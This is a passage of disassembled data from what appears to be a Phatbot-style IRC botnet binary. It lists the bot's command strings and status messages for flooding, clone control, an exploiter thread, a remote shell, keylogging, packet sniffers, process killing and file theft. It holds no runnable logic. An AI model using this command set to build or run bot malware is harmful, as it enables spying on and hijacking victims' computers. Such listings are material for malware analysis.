db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
; char aReconnect_in[]
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401CC7+3125o
align 4
; char aRin[]
aRin db 'rin',0 ; DATA XREF: sub_401CC7+313Ao
; char aQuitReconnec_1[]
aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A82o
align 4
; char asc_441444[]
asc_441444 db '-' ; DATA XREF: sub_401CC7+7DD3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
; char aReconnect_in_m[]
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401CC7+314Fo
; char aRinms[]
aRinms db 'rinms',0 ; DATA XREF: sub_401CC7+3164o
align 4
; char aQuitReconnec_0[]
aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A3Ao
align 4
; char asc_44149C[]
asc_44149C db '-' ; DATA XREF: sub_401CC7+7D8Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 10h
; char aFlood[]
aFlood db 'flood',0 ; DATA XREF: sub_401CC7+317Bo
align 4
; char aLoad[]
aLoad db 'load',0 ; DATA XREF: sub_401CC7+31A4o
align 10h
; char asc_4414D0[]
asc_4414D0 db '-' ; DATA XREF: sub_401CC7+31FBo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
; char aPm_1[]
aPm_1 db 'pm',0 ; DATA XREF: sub_401CC7+322Do
align 10h
; char asc_441500[]
asc_441500: ; DATA XREF: sub_401CC7+3248o
unicode 0, < >,0
; char a__7[]
a__7: ; DATA XREF: sub_401CC7+324Do
unicode 0, <_>,0
; char aPrivmsgSS[]
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+327Co
align 4
; char aCt[]
aCt db 'ct',0 ; DATA XREF: sub_401CC7+3299o
align 4
; char asc_44151C[]
asc_44151C: ; DATA XREF: sub_401CC7+32B4o
unicode 0, < >,0
; char a_[]
a_: ; DATA XREF: sub_401CC7+32B9o
unicode 0, <_>,0
; char aPrivmsgS[]
aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401CC7+32E8o
dd 1732501h, 0
; char aNt_1[]
aNt_1 db 'nt',0 ; DATA XREF: sub_401CC7+3305o
align 4
; char asc_44153C[]
asc_44153C: ; DATA XREF: sub_401CC7+3320o
unicode 0, < >,0
; char a__8[]
a__8: ; DATA XREF: sub_401CC7+3325o
unicode 0, <_>,0
; char aNoticeSS_1[]
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401CC7+3354o
align 4
; char aMode[]
aMode db 'mode',0 ; DATA XREF: sub_401CC7+3371o
align 4
; char asc_44155C[]
asc_44155C: ; DATA XREF: sub_401CC7+338Co
unicode 0, < >,0
; char a__0[]
a__0: ; DATA XREF: sub_401CC7+3391o
unicode 0, <_>,0
; char aModeSS[]
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401CC7+33C0o
align 10h
; char aJoin[]
aJoin db 'join',0 ; DATA XREF: sub_401CC7+33DDo
align 4
; char aJoinS[]
aJoinS db 'join %s',0 ; DATA XREF: sub_401CC7+33FFo
; char aPart_1[]
aPart_1 db 'part',0 ; DATA XREF: sub_401CC7+341Co
align 4
; char aPartS[]
aPartS db 'part %s',0 ; DATA XREF: sub_401CC7+343Eo
; char aPartflood[]
aPartflood db 'partflood',0 ; DATA XREF: sub_401CC7+345Bo
align 4
; char aPartSS[]
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401CC7+3482o
align 4
; char aPnick[]
aPnick db 'pnick',0 ; DATA XREF: sub_401CC7+349Fo
align 10h
; char aSI[]
aSI db '%s%i',0 ; DATA XREF: sub_401CC7+34E0o
align 4
; char aNickS_0[]
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401CC7+34FBo
; char aJoinPart[]
aJoinPart db 'join/part',0 ; DATA XREF: sub_401CC7+3518o
align 4
; char aJoinS_0[]
aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401CC7+3546o
; char aPartSS_0[]
aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401CC7+3572o
align 10h
; char aJoinS_1[]
aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401CC7+35A9o
; char aPartSS_1[]
aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401CC7+35E5o
align 4
; char aJoinS_2[]
aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401CC7+360Co
; char aPartSS_2[]
aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401CC7+3648o
align 4
; char aDcc[]
aDcc db 'dcc',0 ; DATA XREF: sub_401CC7+3665o
; char aPrivmsgS_0[]
aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+36E2o
dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
dd 64252064h, 1
; char aNick_0[]
aNick_0 db 'nick',0 ; DATA XREF: sub_401CC7+36FFo
align 4
; char aJoinS_3[]
aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401CC7+3729o
; char aNickS_1[]
aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401CC7+375Co
; char aNickS_2[]
aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401CC7+37A0o
; char aNickS_3[]
aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401CC7+37E4o
; char aChgnick[]
aChgnick db 'chgnick',0 ; DATA XREF: sub_401CC7+3801o
; char aNickS_4[]
aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401CC7+382Bo
; char aMsg[]
aMsg db 'msg',0 ; DATA XREF: sub_401CC7+3848o
; char aJoinS_4[]
aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401CC7+3876o
; char aPrivmsgSS_0[]
aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+38A2o
align 4
; char aPrivmsgSS_1[]
aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+38DEo
align 4
; char aPrivmsgSS_2[]
aPrivmsgSS_2 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+391Ao
align 4
; char aNotice_2[]
aNotice_2 db 'notice',0 ; DATA XREF: sub_401CC7+3937o
align 10h
; char aJoinS_5[]
aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401CC7+3965o
; char aNoticeSS_2[]
aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3991o
align 4
; char aNoticeSS_3[]
aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+39CDo
align 4
; char aNoticeSS_4[]
aNoticeSS_4 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3A09o
align 4
; char aCtcp[]
aCtcp db 'ctcp',0 ; DATA XREF: sub_401CC7+3A26o
align 10h
; char aJoinS_6[]
aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401CC7+3A54o
; char aPrivmsgS_1[]
aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3A7Bo
dd 6E697001h, 167h
; char aPrivmsgS_2[]
aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3AB2o
dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_3[]
aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3AE9o
dd 6E696601h, 1726567h, 0
; char aPrivmsgS_4[]
aPrivmsgS_4 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3B20o
dd 6E696601h, 1726567h, 0
; char aMix[]
aMix db 'mix',0 ; DATA XREF: sub_401CC7+3B3Do
; char aJoinS_7[]
aJoinS_7 db 'join %s',0 ; DATA XREF: sub_401CC7+3B6Bo
; char aPrivmsgS_5[]
aPrivmsgS_5 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3B92o
dd 6E697001h, 167h
; char aNoticeSS_5[]
aNoticeSS_5 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3BCEo
align 4
; char aPrivmsgSS_3[]
aPrivmsgSS_3 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401CC7+3C0Ao
align 4
; char aNoticeSS_6[]
aNoticeSS_6 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3C46o
align 4
; char aRegister[]
aRegister db 'register',0 ; DATA XREF: sub_401CC7+3C63o
align 10h
; char aNickservRegist[]
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC7+3C8Co
; char aOff_0[]
aOff_0 db 'off',0 ; DATA XREF: sub_401CC7+3CA9o
unk_4417CC db 2Dh ; - ; DATA XREF: sub_401CC7+3CF0o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
; char aNick_1[]
aNick_1 db 'nick',0 ; DATA XREF: sub_401CC7+3D0Fo
align 4
; char aN[]
aN: ; DATA XREF: sub_401CC7+3D24o
unicode 0, <n>,0
; char aNickS_7[]
aNickS_7 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D56o
align 4
unk_44180C db 2Dh ; - ; DATA XREF: sub_401CC7+7D69o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
; char aJoin_0[]
aJoin_0 db 'join',0 ; DATA XREF: sub_401CC7+3D39o
align 4
; char aJ[]
aJ: ; DATA XREF: sub_401CC7+3D4Eo
unicode 0, <j>,0
; char aJoinSS_3[]
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D36o
align 4
unk_44184C db 2Dh ; - ; DATA XREF: sub_401CC7+7D49o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0
align 10h
; char aPart_2[]
aPart_2 db 'part',0 ; DATA XREF: sub_401CC7+3D63o
align 4
; char aPt[]
aPt db 'pt',0 ; DATA XREF: sub_401CC7+3D78o
align 4
; char aPartS_2[]
aPartS_2 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D0Fo
align 4
unk_441888 db 2Dh ; - ; DATA XREF: sub_401CC7+7D22o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
; char aRaw[]
aRaw db 'raw',0 ; DATA XREF: sub_401CC7+3D8Do
; char aR_2[]
aR_2 db 'r',0 ; DATA XREF: sub_401CC7+3DA2o
align 4
; char aS_20[]
aS_20 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7CF1o
align 4
dword_4418BC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401CC7+7D02o
dd 2E732520h, 0
; char aKillthread[]
aKillthread db 'killthread',0 ; DATA XREF: sub_401CC7+3DB7o
align 4
; char aK[]
aK: ; DATA XREF: sub_401CC7+3DCCo
unicode 0, <k>,0
; char aAll[]
aAll db 'all',0 ; DATA XREF: sub_401CC7+7BD3o
unk_4418EC db 2Dh ; - ; DATA XREF: sub_401CC7+7BEDo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
; char asc_441914[]
asc_441914 db '-' ; DATA XREF: sub_401CC7:loc_4098BEo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_44193C db 2Dh ; - ; DATA XREF: sub_401CC7+7C78o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 10h
; char asc_441960[]
asc_441960 db '-' ; DATA XREF: sub_401CC7:loc_409946o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
; char aC_quit[]
aC_quit db 'c_quit',0 ; DATA XREF: sub_401CC7+3DE1o
align 4
; char aC_q[]
aC_q db 'c_q',0 ; DATA XREF: sub_401CC7+3DF6o
; char aQuitLater_0[]
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7B46o
align 4
; char aC_rndnick[]
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401CC7+3E0Bo
align 4
; char aC_rn[]
aC_rn db 'c_rn',0 ; DATA XREF: sub_401CC7+3E20o
align 4
; char aNickS_6[]
aNickS_6 db 'NICK %s',0 ; DATA XREF: sub_401CC7+7B03o
aS_19 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7B18o
align 4
; char aPrefix[]
aPrefix db 'prefix',0 ; DATA XREF: sub_401CC7+3E35o
align 4
; char aPr[]
aPr db 'pr',0 ; DATA XREF: sub_401CC7+3E4Ao
align 4
unk_4419D8 db 2Dh ; - ; DATA XREF: sub_401CC7+7ABAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
; char aOpen[]
aOpen db 'open',0 ; DATA XREF: sub_401CC7+3E5Fo
align 4
; char aO[]
aO: ; DATA XREF: sub_401CC7+3E74o
unicode 0, <o>,0
aOpen_1 db 'open',0 ; DATA XREF: sub_401CC7+7A84o
align 4
unk_441A14 db 2Dh ; - ; DATA XREF: sub_401CC7+7A97o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_441A34 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_409768o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
; char aServer_5[]
aServer_5 db 'server',0 ; DATA XREF: sub_401CC7+3E89o
align 10h
; char aSe[]
aSe db 'se',0 ; DATA XREF: sub_401CC7+3E9Eo
align 4
unk_441A64 db 2Dh ; - ; DATA XREF: sub_401CC7+7A73o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
; char aDns[]
aDns db 'dns',0 ; DATA XREF: sub_401CC7+3EB3o
; char aDn[]
aDn db 'dn',0 ; DATA XREF: sub_401CC7+3EC8o
align 4
; char asc_441A94[]
asc_441A94 db '-' ; DATA XREF: sub_401CC7+7A1Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_441AB4 db 2Dh ; - ; DATA XREF: sub_401CC7+7A4Fo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS__0 db '- Lookup: %s -> %s.',0
align 4
unk_441AD4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40971Do
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
; char aKillproc[]
aKillproc db 'killproc',0 ; DATA XREF: sub_401CC7+3EDDo
align 4
; char aKp[]
aKp db 'kp',0 ; DATA XREF: sub_401CC7+3EF2o
align 4
unk_441B0C db 2Dh ; - ; DATA XREF: sub_401CC7+79DBo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_441B2C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4096ACo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
; char aKill[]
aKill db 'kill',0 ; DATA XREF: sub_401CC7+3F07o
align 4
; char aKi[]
aKi db 'ki',0 ; DATA XREF: sub_401CC7+3F1Co
align 4
unk_441B68 db 2Dh ; - ; DATA XREF: sub_401CC7+797Ao
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
; char asc_441B8C[]
asc_441B8C db '-' ; DATA XREF: sub_401CC7:loc_409648o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_401CC7+3F31o
align 4
; char aDel[]
aDel db 'del',0 ; DATA XREF: sub_401CC7+3F46o
; char asc_441BC8[]
asc_441BC8 db '-' ; DATA XREF: sub_401CC7+793Ao
db 3, 34h, 2
dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h
dd 2Eh
dword_441BE4 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7:loc_409616o
; char aGet_3[]
aGet_3 db 'get',0 ; DATA XREF: sub_401CC7+3F5Bo
; char aGt[]
aGt db 'gt',0 ; DATA XREF: sub_401CC7+3F70o
align 4
; char aS_33[]
aS_33 db '%s',0 ; DATA XREF: sub_401CC7+7853o
align 4
; char asc_441BFC[]
asc_441BFC db '-' ; DATA XREF: sub_401CC7+78ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
unk_441C20 db 2Dh ; - ; DATA XREF: sub_401CC7+791Ao
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_11 db '- Failed to start transfer thread, error: <%d>.',0
align 4
; char aList[]
aList db 'list',0 ; DATA XREF: sub_401CC7+3F85o
align 4
; char aLi[]
aLi db 'li',0 ; DATA XREF: sub_401CC7+3F9Ao
align 4
dword_441C68 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401CC7+782Eo
dd 0
; char aVisit[]
aVisit db 'visit',0 ; DATA XREF: sub_401CC7+3FAFo
align 4
; char aV[]
aV: ; DATA XREF: sub_401CC7+3FC4o
unicode 0, <v>,0
; char asc_441C8C[]
asc_441C8C db '-' ; DATA XREF: sub_401CC7+778Eo
db 3, 34h, 2
dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
; char asc_441CA4[]
asc_441CA4 db '-' ; DATA XREF: sub_401CC7+77FDo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToSta_12 db ' Failed to start connection thread, error: <%d>.',0
align 4
; char aMirccmd[]
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401CC7+3FD9o
; char aMirc[]
aMirc db 'mirc',0 ; DATA XREF: sub_401CC7+3FEEo
align 4
unk_441CF4 db 2Dh ; - ; DATA XREF: sub_401CC7+7714o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_441D14 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401CC7:loc_4093E2o
dd 746E6573h, 2Eh
; char aCmd[]
aCmd db 'cmd',0 ; DATA XREF: sub_401CC7+4003o
; char aCm[]
aCm db 'cm',0 ; DATA XREF: sub_401CC7+4018o
align 4
; char asc_441D38[]
asc_441D38 db 0Ah,0 ; DATA XREF: sub_401CC7+76A1o
align 4
; char asc_441D3C[]
asc_441D3C db '-' ; DATA XREF: sub_401CC7+76B9o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
; char asc_441D68[]
asc_441D68 db '-' ; DATA XREF: sub_401CC7+76D8o
db 3, 34h, 2
dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h
; char aReadfile[]
aReadfile db 'readfile',0 ; DATA XREF: sub_401CC7+402Do
align 4
; char aRf[]
aRf db 'rf',0 ; DATA XREF: sub_401CC7+4042o
align 10h
; char aR_0[]
aR_0: ; DATA XREF: sub_401CC7:loc_4092CBo
unicode 0, <r>,0
unk_441D94 db 2Dh ; - ; DATA XREF: sub_401CC7+766Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_441DB8 db 2Dh ; - ; DATA XREF: sub_401CC7+7677o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
; char aPsniff[]
aPsniff db 'psniff',0 ; DATA XREF: sub_401CC7+4057o
align 4
; char aOn[]
aOn db 'on',0 ; DATA XREF: sub_401CC7+406Eo
align 4
dword_441DE8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+408Eo
aAlreadyRunni_1 db '- Already running.',0
align 4
; char asc_441E08[]
asc_441E08 db '-' ; DATA XREF: sub_401CC7+40F5o
db 3, 34h, 2
dd 696E7370h, 3026666h
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_441E38 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+4164o
aFailedToSta_13 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
; char aOff[]
aOff db 'off',0 ; DATA XREF: sub_401CC7+4171o
dword_441E78 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+4194o
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_441EB4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7:loc_405E65o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 10h
; char aSniffer[]
aSniffer db 'sniffer',0 ; DATA XREF: sub_401CC7+41A9o
; char aOn_0[]
aOn_0 db 'on',0 ; DATA XREF: sub_401CC7+41C0o
align 4
unk_441EEC db 2Dh ; - ; DATA XREF: sub_401CC7+41E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_2 db '- Already running.',0
; char asc_441F0C[]
asc_441F0C db '-' ; DATA XREF: sub_401CC7+4247o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_441F3C db 2Dh ; - ; DATA XREF: sub_401CC7+42B6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
; char aOff_1[]
aOff_1 db 'off',0 ; DATA XREF: sub_401CC7+42C3o
unk_441F7C db 2Dh ; - ; DATA XREF: sub_401CC7+42E6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_441FBC db 2Dh ; - ; DATA XREF: sub_401CC7:loc_405FB7o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
; char aIdent[]
aIdent db 'ident',0 ; DATA XREF: sub_401CC7+42FBo
align 4
; char aOn_1[]
aOn_1 db 'on',0 ; DATA XREF: sub_401CC7+4312o
align 4
dword_441FF8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+432Eo
aAlreadyRunni_3 db '- Already running.',0
align 4
; char asc_442018[]
asc_442018 db '-' ; DATA XREF: sub_401CC7+433Eo
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_442044 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+438Bo
aFailedToSta_15 db '- Failed to start server, error: <%d>.',0
align 4
; char aOff_2[]
aOff_2 db 'off',0 ; DATA XREF: sub_401CC7+4398o
dword_44207C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+43BBo
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_4420B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7:loc_40608Co
aNoThreadFound_ db '- No thread found.',0
align 4
; char aKeylog[]
aKeylog db 'keylog',0 ; DATA XREF: sub_401CC7+43D0o
align 4
; char aOn_2[]
aOn_2 db 'on',0 ; DATA XREF: sub_401CC7+43E8o
align 10h
; char aFile[]
aFile db 'file',0 ; DATA XREF: sub_401CC7+43F9o
align 4
dword_4420E8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+444Do
aAlreadyRunni_4 db '- Already running.',0
align 4
; char aFile_0[]
aFile_0 db 'file',0 ; DATA XREF: sub_401CC7+4464o
align 10h
; char asc_442110[]
asc_442110 db '-' ; DATA XREF: sub_401CC7+44D1o
db 3, 34h, 2
dd 6C79656Bh, 302676Fh
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_442134 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+4540o
aFailedToSta_16 db '- Failed to start logging thread, error: <%d>.',0
align 10h
; char aOff_3[]
aOff_3 db 'off',0 ; DATA XREF: sub_401CC7+440Ao
dword_442174 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+442Do
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 10h
dword_4421B0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7:loc_4060FEo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
; char aNet[]
aNet db 'net',0 ; DATA XREF: sub_401CC7+454Bo
; char aStart[]
aStart db 'start',0 ; DATA XREF: sub_401CC7+45A1o
align 4
aS_3 db '%s',0 ; DATA XREF: sub_401CC7+45C2o
align 4
unk_4421EC db 2Dh ; - ; DATA XREF: sub_401CC7+45E4o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
unk_442210 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4062B5o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
; char aStop[]
aStop db 'stop',0 ; DATA XREF: sub_401CC7+45FBo
align 4
aS_4 db '%s',0 ; DATA XREF: sub_401CC7+4618o
align 4
; char aPause[]
aPause db 'pause',0 ; DATA XREF: sub_401CC7+4625o
align 4
aS_5 db '%s',0 ; DATA XREF: sub_401CC7+4642o
align 4
; char aContinue[]
aContinue db 'continue',0 ; DATA XREF: sub_401CC7+464Fo
align 4
aS_6 db '%s',0 ; DATA XREF: sub_401CC7+466Co
align 4
; char aDelete_0[]
aDelete_0 db 'delete',0 ; DATA XREF: sub_401CC7+4679o
align 10h
aS_7 db '%s',0 ; DATA XREF: sub_401CC7+4696o
align 4
; char aShare[]
aShare db 'share',0 ; DATA XREF: sub_401CC7+46A3o
align 4
aS_8 db '%s',0 ; DATA XREF: sub_401CC7+46CCo
align 10h
aS_9 db '%s',0 ; DATA XREF: sub_401CC7+46E8o
align 4
unk_442274 db 2Dh ; - ; DATA XREF: sub_401CC7+470Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
unk_442298 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4063DCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
; char aUser_0[]
aUser_0 db 'user',0 ; DATA XREF: sub_401CC7+4722o
align 10h
aS_10 db '%s',0 ; DATA XREF: sub_401CC7+475Bo
align 4
aS_11 db '%s',0 ; DATA XREF: sub_401CC7+4788o
align 4
aS_12 db '%s',0 ; DATA XREF: sub_401CC7+479Fo
align 4
unk_4422CC db 2Dh ; - ; DATA XREF: sub_401CC7+47C2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_4422EC db 2Dh ; - ; DATA XREF: sub_401CC7:loc_406493o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
; char aSend_0[]
aSend_0 db 'send',0 ; DATA XREF: sub_401CC7+47D9o
align 4
aS_13 db '%s',0 ; DATA XREF: sub_401CC7+4805o
align 4
unk_442318 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4064D6o
db 3, 34h, 2
db 6Eh ; n
